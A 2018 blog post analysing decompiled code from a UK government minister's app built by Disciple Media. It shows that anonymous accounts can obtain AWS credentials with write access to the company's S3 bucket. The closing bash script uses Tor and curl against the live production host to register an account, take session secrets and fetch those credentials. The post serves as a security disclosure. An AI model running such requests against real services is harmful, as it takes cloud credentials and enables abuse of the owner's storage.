07 February 2018

Disregarding Open Source Licenses Is Bad For Your Apps Security

Last week Matt Hancock, the Minister for the Department of Digital, Culture, Media & Sport launched an app.

The app was immediately savaged due to poor privacy policies, for failing to implement Age Verification and in the context of this post; failing to regard Open Source Licenses.

I contacted Disciple Media to ask for a copy of their source code but they declined to provide it so I acquired a copy anyway.

API Endpoints

After some initial grepping around one can find uk.co.disciplemedia.api.DiscipleApi which provides a list of all their API endpoints;

public interface DiscipleApi {
    @POST("/api/v1/friend_requests/{id}/accept")
    Response acceptFriendRequest(@Path("id") String str);

    @GET("/api/v2/files")
    ArchiveItems archiveSearch(@Query("query") String str);

    @DELETE("/api/v1/friend_requests/{id}")
    Response cancelFriendRequest(@Path("id") String str);

    @POST("/api/v1/anonymous_accounts")
    RegisterResponse createAnonymousUser(@Body RegisterAnonymousUserRequest registerAnonymousUserRequest);

    @POST("/api/v1/account/avatar")
    CreateAvatarResponse createAvatarRequest(@Body CreateAvatarRequest createAvatarRequest);

    @POST("/api/v1/posts/{post-id}/comments")
    CreateCommentResponse createComment(@Path("post-id") String str, @Body CreateCommentRequest createCommentRequest);

    @POST("/api/v1/conversations")
    ConversationResponse createConversation(@Body CreateConversationRequest createConversationRequest);

    @POST("/api/v1/livestreams")
    CreateLivestreamResponse createLivestream(@Body CreateLiveStreamRequest createLiveStreamRequest);

    @POST("/api/v1/conversations/{conversation_id}/messages")
    MessageResponse createMessage(@Path("conversation_id") String str, @Body CreateMessageRequest createMessageRequest);

    @POST("/api/v1/posts")
    CreatePostResponse createPost(@Body CreatePostRequest createPostRequest);

    @POST("/api/v1/posts/{post_id}/post_notification_block")
    Response createPostNotificationBlock(@Path("post_id") String str);

    @DELETE("/api/v1/comments/{comment_id}")
    DeletePostCommentResponse deleteComment(@Path("comment_id") String str);

    @DELETE("/api/v1/posts/{post_id}")
    DeletePostCommentResponse deletePost(@Path("post_id") String str);

    @DELETE("/api/v1/posts/{post_id}/post_notification_block")
    Response deletePostNotificationBlock(@Path("post_id") String str);

    @GET("/api/v1/files")
    ArchiveItems getAllArchiveFiles(@Query("asset_type") String str);

    @GET("/api/v1/archive_folders/{archive_folder_id}/files")
    ArchiveItems getArchiveFiles(@Path("archive_folder_id") String str, @Query("asset_type") String str2);

    @GET("/api/v1/archive_folders/{folder_id}")
    ArchiveFolderWrapper getArchiveFolder(@Path("folder_id") String str);

    @GET("/api/v1/archive_folders/{archive_folder_id}/folders")
    ArchiveFolders getArchiveFolders(@Path("archive_folder_id") String str);

    @GET("/api/v1/configuration")
    Configuration getConfiguration();

    @GET("/api/v1/conversations/{conversation_id}")
    ConversationResponse getConversation(@Path("conversation_id") String str);

    @GET("/api/v1/conversations")
    Conversations getConversations();

    @GET("/api/v1/events/{event_id}")
    EventWrapper getEvent(@Path("event_id") long j);

    @GET("/api/v1/events/{event_id}/comments")
    Comments getEventComments(long j);

    @GET("/api/v1/events")
    Events getEvents(@Query("direction") String str);

    @GET("/api/v1/friend_requests?direction=incoming&state=pending")
    FriendRequests getFriendRequests(@Query("page") String str, @Query("per_page") String str2);

    @GET("/api/v1/friendships")
    Friends getFriends(@Query("page") String str, @Query("per_page") String str2);

    @GET("/api/v2/account/likes")
    GetLikesResponse getLike(@Query("likeable_type") String str, @Query("likeable_ids[]") Long... lArr);

    @GET("/api/v2/mailing_lists")
    GetMailingListResponse getMailingList();

    @GET("/api/v1/conversations/{conversation_id}/messages")
    Messages getMessages(@Path("conversation_id") String str);

    @GET("/api/v1/music_albums/{id} ")
    ArchiveItemWrapper getMusicAlbum(@Path("id") Long l);

    @GET("/api/v1/music_albums")
    ArchiveItems getMusicAlbums(@Query("album_type") String str);

    @GET("/api/v1/music_albums/{music_album_id}/tracks")
    MusicTracks getMusicTracks(@Path("music_album_id") String str);

    @GET("/api/v2/posts/{post_id}")
    GetPostResponse getPost(@Path("post_id") String str);

    @GET("/api/v1/posts/{post_id}/post_notification_block")
    PostNotificationBlockResponse getPostNotificationBlock(@Path("post_id") String str);

    @GET("/api/v2/walls/{wall_id}/{sort_type}")
    Posts getPosts(@Path("wall_id") String str, @Path("sort_type") String str2, @Query("asset_type") String str3);

    @GET("/api/v2/pubnub_publish_key")                                                                                                                                                                                                                        
    PubnubKeyResponse getPubnubPublishKey();                                                                                                                                                                                                                  
                                                                                                                                                                                                                                                              
    @GET("/api/v2/users/{user_id}/recent_posts")                                                                                                                                                                                                              
    Posts getRecentPosts(@Path("user_id") String str);                                                                                                                                                                                                        
                                                                                                                                                                                                                                                              
    @POST("/api/v1/posts/{post_id}/post_share_links")                                                                                                                                                                                                         
    PostShareLinkResponse getShareLink(@Path("post_id") String str);                                                                                                                                                                                          
                                                                                                                                                                                                                                                              
    @GET("/api/v1/accounts/{id}")                                                                                                                                                                                                                             
    SimpleUserResponse getSimpleUser(@Path("id") String str);                                                                                                                                                                                                 
                                                                                                                                                                                                                                                              
    @GET("/api/v1/archive_folders/tagged/{tag}")                                                                                                                                                                                                              
    TaggedFolderResponse getTaggedArchiveFolder(@Path("tag") String str);                                                                                                                                                                                     
                                                                                                                                                                                                                                                              
    @GET("/api/v1/messages/unread_count")                                                                                                                                                                                                                     
    MessagesUnreadCountResponse getUnreadMessagesCount();                                                                                                                                                                                                     
                                                                                                                                                                                                                                                              
    @GET("/api/v1/account")                                                                                                                                                                                                                                   
    UserAccountResponse getUserAccount();                                                                                                                                                                                                                     
                                                                                                                                                                                                                                                              
    @GET("/api/v1/videos/{id}/ad")                                                                                                                                                                                                                            
    VideoAdResponse getVideoAdUrl(@Path("id") long j);                                                                                                                                                                                                        
                                                                                                                                                                                                                                                              
    @GET("/api/v1/videos/{id}")                                                                                                                                                                                                                               
    String getVideoUrl(@Path("id") long j);                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                              
    @POST("/api/v2/google_accounts")                                                                                                                                                                                                                          
    RegisterResponse googleRegisterUser(@Body GoogleRegisterRequest googleRegisterRequest);                                                                                                                                                                   
                                                                                                                                                                                                                                                              
    @POST("/api/v2/google_sessions")                                                                                                                                                                                                                          
    LoginResponse googleSignIn(@Body GoogleSignInRequest googleSignInRequest);                                                                                                                                                                                
                                                                                                                                                                                                                                                              
    @POST("/api/v1/friend_requests/{id}/ignore")                                                                                                                                                                                                              
    Response ignoreFriendRequest(@Path("id") String str);                                                                                                                                                                                                     
                                                                                                                                                                                                                                                              
    @POST("/api/v1/accounts/{user_id}/ignore")                                                                                                                                                                                                                
    IgnoreUserResponse ignoreUser(@Path("user_id") String str);                                                                                                                                                                                               
                                                                                                                                                                                                                                                              
    @DELETE("/api/v1/conversations/{conversation_id}/membership")                                                                                                                                                                                             
    Response leaveConversation(@Path("conversation_id") String str);                                                                                                                                                                                          
                                                                                                                                                                                                                                                              
    @POST("/api/v1/legacy_sessions")                                                                                                                                                                                                                          
    LoginResponse legacyLogin(@Query("name") String str, @Query("password") String str2);                                                                                                                                                                     
                                                                                                                                                                                                                                                              
    @POST("/api/v1/comments/{post-id}/like")                                                                                                                                                                                                                  
    CreateLikeResponse likeComment(@Path("post-id") String str);


    @GET("/api/v1/posts/{post-id}/comments?limit=10&sort_order=desc")                                                                                                                                                                                         
    Comments listComments(@Path("post-id") String str);                                                                                                                                                                                                       
                                                                                                                                                                                                                                                              
    @POST("/api/v1/sessions")                                                                                                                                                                                                                                 
    LoginResponse login(@Body LoginParams loginParams);                                                                                                                                                                                                       
                                                                                                                                                                                                                                                              
    @POST("/api/v1/facebook_sessions")                                                                                                                                                                                                                        
    LoginResponse loginFacebook(@Body LoginFacebookRequest loginFacebookRequest);                                                                                                                                                                             
                                                                                                                                                                                                                                                              
    @DELETE("/api/v1/session")                                                                                                                                                                                                                                
    Response logout(@Query("registration_id") String str);                                                                                                                                                                                                    
                                                                                                                                                                                                                                                              
    @POST("/api/v1/messages/{message_id}/mark_as_read")                                                                                                                                                                                                       
    Response markMessageRead(@Path("message_id") String str);                                                                                                                                                                                                 
                                                                                                                                                                                                                                                              
    @POST("/api/v1/purchases/android")                                                                                                                                                                                                                        
    Response purchase(@Body PurchaseRequest purchaseRequest);                                                                                                                                                                                                 
                                                                                                                                                                                                                                                              
    @POST("/api/v1/tracking/record_track_plays")                                                                                                                                                                                                              
    Response recordTrackPlays(@Body RecordTrackPlaysRequest recordTrackPlaysRequest);                                                                                                                                                                         
                                                                                                                                                                                                                                                              
    @POST("/api/v1/accounts")                                                                                                                                                                                                                                 
    RegisterResponse register(@Body RegisterRequest registerRequest);                                                                                                                                                                                         
                                                                                                                                                                                                                                                              
    @POST("/api/v1/facebook_accounts")                                                                                                                                                                                                                        
    RegisterResponse registerFacebook(@Body RegisterFacebookRequest registerFacebookRequest);                                                                                                                                                                 
                                                                                                                                                                                                                                                              
    @POST("/api/v1/device_tokens")                                                                                                                                                                                                                            
    Response registerForPush(@Body RegisterForPushRequest registerForPushRequest);                                                                                                                                                                            
                                                                                                                                                                                                                                                              
    @POST("/api/v2/mailing_lists/{list_id}/registration")                                                                                                                                                                                                     
    Response registerMailingList(@Path("list_id") String str);                                                                                                                                                                                                
                                                                                                                                                                                                                                                              
    @POST("/api/v1/comments/{id}/reports")                                                                                                                                                                                                                    
    ReportWrapper reportComment(@Path("id") String str, @Body ReportRequest reportRequest);                                                                                                                                                                   
                                                                                                                                                                                                                                                              
    @POST("/api/v1/posts/{id}/reports")                                                                                                                                                                                                                       
    ReportWrapper reportPost(@Path("id") String str, @Body ReportRequest reportRequest);                                                                                                                                                                      
                                                                                                                                                                                                                                                              
    @POST("/api/v1/posts/{post-id}/repost")                                                                                                                                                                                                                   
    CreatePostResponse repost(@Path("post-id") String str, @Body RepostRequest repostRequest);                                                                                                                                                                
                                                                                                                                                                                                                                                              
    @POST("/api/v1/passwords")                                                                                                                                                                                                                                
    Response requestPasswordReset(@Body PasswordResetRequest passwordResetRequest);                                                                                                                                                                           
                                                                                                                                                                                                                                                              
    @GET("/api/v1/magazine_posts")                                                                                                                                                                                                                            
    MagazineResponse retrieveMagazinePosts();                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                              
    @GET("/api/v1/notification_blocks")                                                                                                                                                                                                                       
    NotificationBlocksResponse retrieveNotificationBlocksResponse();                                                                                                                                                                                          
                                                                                                                                                                                                                                                              
    @GET("/api/v1/startup")                                                                                                                                                                                                                                   
    StartupResponse retrieveStartupInformation();                                                                                                                                                                                                             
                                                                                                                                                                                                                                                              
    @POST("/api/v1/federated_credentials")                                                                                                                                                                                                                    
    S3UploadParameters retrieveUploadParameters();

    @GET("/api/v2/hashtags")                                                                                                                                                                                                                                  
    HashtagSearchResponse searchHashtags(@Query("text") String str);                                                                                                                                                                                          
                                                                                                                                                                                                                                                              
    @GET("/api/v2/users/mentionables")                                                                                                                                                                                                                        
    SearchResponse searchMentionables(@Query("display_name") String str, @Query("post_id") String str2);                                                                                                                                                      
                                                                                                                                                                                                                                                              
    @GET("/api/v1/accounts")                                                                                                                                                                                                                                  
    SearchResponse searchPeopleByName(@Query("display_name") String str);                                                                                                                                                                                     
                                                                                                                                                                                                                                                              
    @POST("/api/v1/friend_requests")                                                                                                                                                                                                                          
    SendFriendRequestResponse sendFriendRequest(@Body SendFriendRequestParams sendFriendRequestParams);                                                                                                                                                       
                                                                                                                                                                                                                                                              
    @DELETE("/api/v1/friendships/{id}")                                                                                                                                                                                                                       
    Response unFriendUser(@Path("id") String str);                                                                                                                                                                                                            
                                                                                                                                                                                                                                                              
    @DELETE("/api/v1/comments/{post-id}/like")                                                                                                                                                                                                                
    Response unlikeComment(@Path("post-id") String str);                                                                                                                                                                                                      
                                                                                                                                                                                                                                                              
    @DELETE("/api/v1/posts/{post-id}/like")                                                                                                                                                                                                                   
    Response unlikePost(@Path("post-id") String str);                                                                                                                                                                                                         
                                                                                                                                                                                                                                                              
    @PUT("/api/v1/livestreams/{livestream_id}")                                                                                                                                                                                                               
    Response updateLivestream(@Path("livestream_id") String str, @Body UpdateLivestreamRequest updateLivestreamRequest);                                                                                                                                      
                                                                                                                                                                                                                                                              
    @POST("/api/v1/notification_blocks")                                                                                                                                                                                                                      
    Response updateNotificationBlocks(@Body NotificationBlocksRequest notificationBlocksRequest);                                                                                                                                                             
                                                                                                                                                                                                                                                              
    @PUT("/api/v1/account")                                                                                                                                                                                                                                   
    UserAccountResponse updateUserAccount(@Body UpdateUserAccountRequest updateUserAccountRequest);                                                                                                                                                           
}                      

The keen eyed will have seen some very attractive endpoints, namely /api/v1/federated_credentials and /api/v1/anonymous_accounts, let's delve into the app and see what these do.

Creating an Anonymous Account

The RegisterResponse class is quite simple and relies mostly on the User class;

package uk.co.disciplemedia.api.response;

import uk.co.disciplemedia.model.User;

public class RegisterResponse {
    protected User user;

    public User getUser() {
        return this.user;
    }
}
public class User implements Displayable, WithDisplayName, WithId {
    protected boolean accepts_friend_requests;
    protected PostImage avatar;
    protected boolean canPush;
    protected String displayName;
    protected String email;
    protected boolean emailConfirmationRequired;
    protected boolean emailConfirmed;
    protected String facebookUid;
    protected long id;
    private transient String localMediaUrl;
    protected String pubnubPublishKey = "";
    protected Relationship relationship;
    protected RoleType role;
    @C3378c(a = "trial_taken")
    protected boolean trialTaken;
    protected boolean verified;

    public enum RoleType {
        ANONYMOUS("anonymous"),
        USER("user"),
        CONTRIBUTOR("contributor"),
        ARTIST("artist"),
        MANAGER("manager"),
        MODERATOR("moderator"),
        ADMINISTRATOR("administrator");

        private String name;

        private RoleType(String str) {
            this.name = str;
        }
    }

    .......SNIP........

    public long getId() {
        return this.id;
    }

    public String getIdString() {
        return String.valueOf(this.id);
    }

    public String getEmail() {
        return this.email;
    }

    public CharSequence getDisplayName() {
        return this.displayName;
    }

    public void display(ImageView imageView) {
        this.avatar.displayRounded(imageView);
    }

    public void display(ImageView imageView, float f, d dVar) {
        C5348a.m26463a();
        if (this.localMediaUrl != null) {
            DiscipleApplication.m25300a().m26351a(this.localMediaUrl, imageView, dVar);
        } else {
            this.avatar.display(imageView, f, dVar);
        }
    }

    public PostImage getImage() {
        return this.avatar;
    }

    public String getFacebookUid() {
        return this.facebookUid;
    }

   .......SNIP........

    private static String generateTransitionJson(SharedPreferences sharedPreferences) {                                                                                                                                                                       
        JSONObject jSONObject = new JSONObject();                                                                                                                                                                                                             
        try {                                                                                                                                                                                                                                                 
            jSONObject.put("id", sharedPreferences.getLong("id", 0));                                                                                                                                                                                         
            jSONObject.put("email", sharedPreferences.getString("email", null));                                                                                                                                                                              
            jSONObject.put("displayName", sharedPreferences.getString("displayName", null));                                                                                                                                                                  
            jSONObject.put("trialTaken", sharedPreferences.getBoolean("trial_taken", false));                                                                                                                                                                 
            jSONObject.put("avatar", new C3399e().m15110a(sharedPreferences.getString("image_url_key", null), PostImage.class));                                                                                                                              
            jSONObject.put("localMediaUrl", sharedPreferences.getString("local_media_url", null));                                                                                                                                                            
            jSONObject.put("bornAt", sharedPreferences.getString("born_at", null));                                                                                                                                                                           
            jSONObject.put("role", sharedPreferences.getString("ROLE", ""));                                                                                                                                                                                  
            jSONObject.put("canPush", sharedPreferences.getBoolean("can_push", false));                                                                                                                                                                       
            jSONObject.put("verified", sharedPreferences.getBoolean("verified", false));                                                                                                                                                                      
            jSONObject.put("emailConfirmationRequired", sharedPreferences.getBoolean("email_confirmation_required", false));                                                                                                                                  
            jSONObject.put("emailConfirmed", sharedPreferences.getBoolean("email_confirmed", false));                                                                                                                                                         
        } catch (JSONException e) {                                                                                                                                                                                                                           
            C5348a.m26469b(e.getMessage());                                                                                                                                                                                                                   
        }                                                                                                                                                                                                                                                     
        return null;                                                                                                                                                                                                                                          
    }          

We can see that sending a POST to the /api/v1/anonymous_accounts endpoint would return a user and that anonymous users are a first class citizen within the app construct. The generateTransitionJson function indicates a preference for JSON, one can assume that the POST request would take a JSON body that matches RegisterAnonymousUserRequest;

public final class RegisterAnonymousUserRequest {
    private final String password;
}

Gathering Session Credentials

It can be further assumed that upon registering the returned JSON (a User object within a RegisterResponse object) would contain some form of generated email address (or at auth know to ignore a blank email address in the payload) so we can start to look at /api/v1/sessions

The Login POST requires a LoginParams object which looks like;

package uk.co.disciplemedia.api.request;

public class LoginParams {
    public final String email;
    public final String password;

    public LoginParams(String str, String str2) {
        this.email = str;
        this.password = str2;
    }
}

A successful post returns a LoginResponse which is just a wrapper for AuthenticationToken;

public class AuthenticationToken {
    private static final Object lock = new Object();
    protected String expires;
    protected String refreshToken;
    protected String secret;
    protected String secretId;

    .......SNIP........

    public List<Header> asHeaders() {                                                                                                                                                                                                                         
        return Arrays.asList(new Header[]{new Header("X-Secret-Id", this.secretId), new Header("X-Secret", this.secret), new Header("X-Android-Revision-Number", String.valueOf(2))});                                                                        
    }                                                                                                                                                                                                                                                         

The X-Secret-Id and X-Secret headers would indicate how authorisation is done from this point forward.

As of this moment we can assume that one can craft a request to generate an anonymous user, authenticate with the API and then populate the X-Secret-Id and X-Secret headers to authorise against the remaining endpoints. With that in mind lets look at that very juicy /api/v1/federated_credentials endpoint.

Federated Credentials

The object returned by a call to /api/v1/federated_credentials is S3UploadParameters which again is mainly a wrapper for another object named S3Credentials;

package uk.co.disciplemedia.model.s3;

public class S3UploadParameters {
    protected S3Credentials credentials;
    protected S3Policy policy;

    public S3Policy getPolicy() {
        return this.policy;
    }

    public S3Credentials getCredentials() {
        return this.credentials;
    }

    public String toString() {
        return "S3UploadParameters{policy=" + this.policy + ", credentials=" + this.credentials + '}';
    }
}
package uk.co.disciplemedia.model.s3;

public class S3Credentials {
    protected String accessKeyId;
    protected String expiration;
    protected String secretAccessKey;
    protected String sessionToken;

    public String getAccessKeyId() {
        return this.accessKeyId;
    }

    public String getSecretAccessKey() {
        return this.secretAccessKey;
    }

    public String getSessionToken() {
        return this.sessionToken;
    }

    public String toString() {
        return "S3Credentials{accessKeyId='" + this.accessKeyId + '\'' + ", secretAccessKey='" + this.secretAccessKey + '\'' + ", sessionToken='" + this.sessionToken + '\'' + ", expiration='" + this.expiration + '\'' + '}';
    }
}

Well, damn. That looks as if the API would hand out valid Amazon AWS credentials directly to the end users, lets see where S3Credentials is used to see if that's the case.

There are various places such as S3VideoUploader where it's obvious that the end user device uploads directly to an Amazon S3 bucket;

package uk.co.disciplemedia.api.service;

import com.amazonaws.auth.AWSSessionCredentials;
import com.amazonaws.event.ProgressListener;
import com.amazonaws.mobileconnectors.s3.transfermanager.TransferManager;
import com.amazonaws.mobileconnectors.s3.transfermanager.TransferManagerConfiguration;
import com.amazonaws.services.s3.model.ObjectMetadata;
import io.fabric.sdk.android.services.p067c.C1495d;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.UUID;
import java.util.logging.Level;
import java.util.logging.Logger;
import uk.co.disciplemedia.api.request.HasMedia;
import uk.co.disciplemedia.application.p204b.C6451c.C6450a;
import uk.co.disciplemedia.model.s3.S3UploadParameters;

public class S3VideoUploader implements S3Uploader {
    private String bucketName;
    private long contentLength;
    private final File file;
    private String key;
    private String name;

    public S3VideoUploader(File file) {
        this.file = file;
    }

    public void upload(ProgressListener progressListener, final S3UploadParameters s3UploadParameters) throws FileNotFoundException {
        Logger.getLogger("com.amazonaws.request").setLevel(Level.FINEST);
        TransferManager transferManager = new TransferManager(new AWSSessionCredentials() {
            public String getSessionToken() {
                return s3UploadParameters.getCredentials().getSessionToken();
            }

            public String getAWSAccessKeyId() {
                return s3UploadParameters.getCredentials().getAccessKeyId();
            }

            public String getAWSSecretKey() {
                return s3UploadParameters.getCredentials().getSecretAccessKey();
            }
        });
        this.bucketName = s3UploadParameters.getPolicy().getBucket();
        this.name = UUID.randomUUID().toString();
        this.key = s3UploadParameters.getPolicy().getKeyPrefix() + "/" + this.name + C1495d.ROLL_OVER_FILE_NAME_SEPARATOR + this.file.getName();
        ObjectMetadata objectMetadata = new ObjectMetadata();
        this.contentLength = this.file.length();
        objectMetadata.setContentLength(this.contentLength);
        objectMetadata.setContentType("video/mp4");
        TransferManagerConfiguration transferManagerConfiguration = new TransferManagerConfiguration();
        transferManagerConfiguration.setMultipartUploadThreshold(104857600);
        transferManager.setConfiguration(transferManagerConfiguration);
        transferManager.upload(this.bucketName, this.key, new FileInputStream(this.file), objectMetadata).addProgressListener(progressListener);
    }

    public long getContentLength() {                                                                                                                                                                                                                          
        return this.contentLength;                                                                                                                                                                                                                            
    }                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                              
    public String getName() {                                                                                                                                                                                                                                 
        return "https://" + this.bucketName + ".s3.amazonaws.com/" + this.key;                                                                                                                                                                                
    }                  

    .......SNIP........

This would appear to indicate that every single person who installed this app has credentials that allow them direct write access to Disciple Media's S3 bucket.

Putting It All Together

DISCLAIMER: The following is here as an example of how trivial it would appear to be to acquire Disciple Media's Amazon credentials, it is strongly recommended that you do not run it (or adapt it to build an anonymous porn cyberlocker once all porn has been banned from the UK Internet)

#!/bin/bash

#Start Tor because creating an anonymous user is more fun when you are anonymous
doas /etc/rc.d/tor start

#Register an anonymous user
/usr/local/bin/curl -x socks5://127.0.0.1:9050 -H "Content-Type: application/json" --data '{"password":"2818f7aa38ca65f75b044d7f058507c8"}' https://matt-hancock.disciplemedia.com/api/v1/anonymous_accounts

#Acquire session secrets (after extracting the email [if returned] from the response above)
/usr/local/bin/curl -x socks5://127.0.0.1:9050 -H "Content-Type: application/json" --data '{"email":"FOO","password":"2818f7aa38ca65f75b044d7f058507c8"}' https://matt-hancock.disciplemedia.com/api/v1/sessions

#Grab some AWS credentials
/usr/local/bin/curl -x socks5://127.0.0.1:9050 -X POST -H 'X-Secret-Id:BAR' -H 'X-Secret:BAZ' https://matt-hancock.disciplemedia.com/api/v1/federated_credentials

Conclusion

  • Don't steal Open Source code, it attracts the wrong kind of attention
  • Don't assume your "closed source" code won't end up being read.
  • Don't hand out credentials to anonymous end users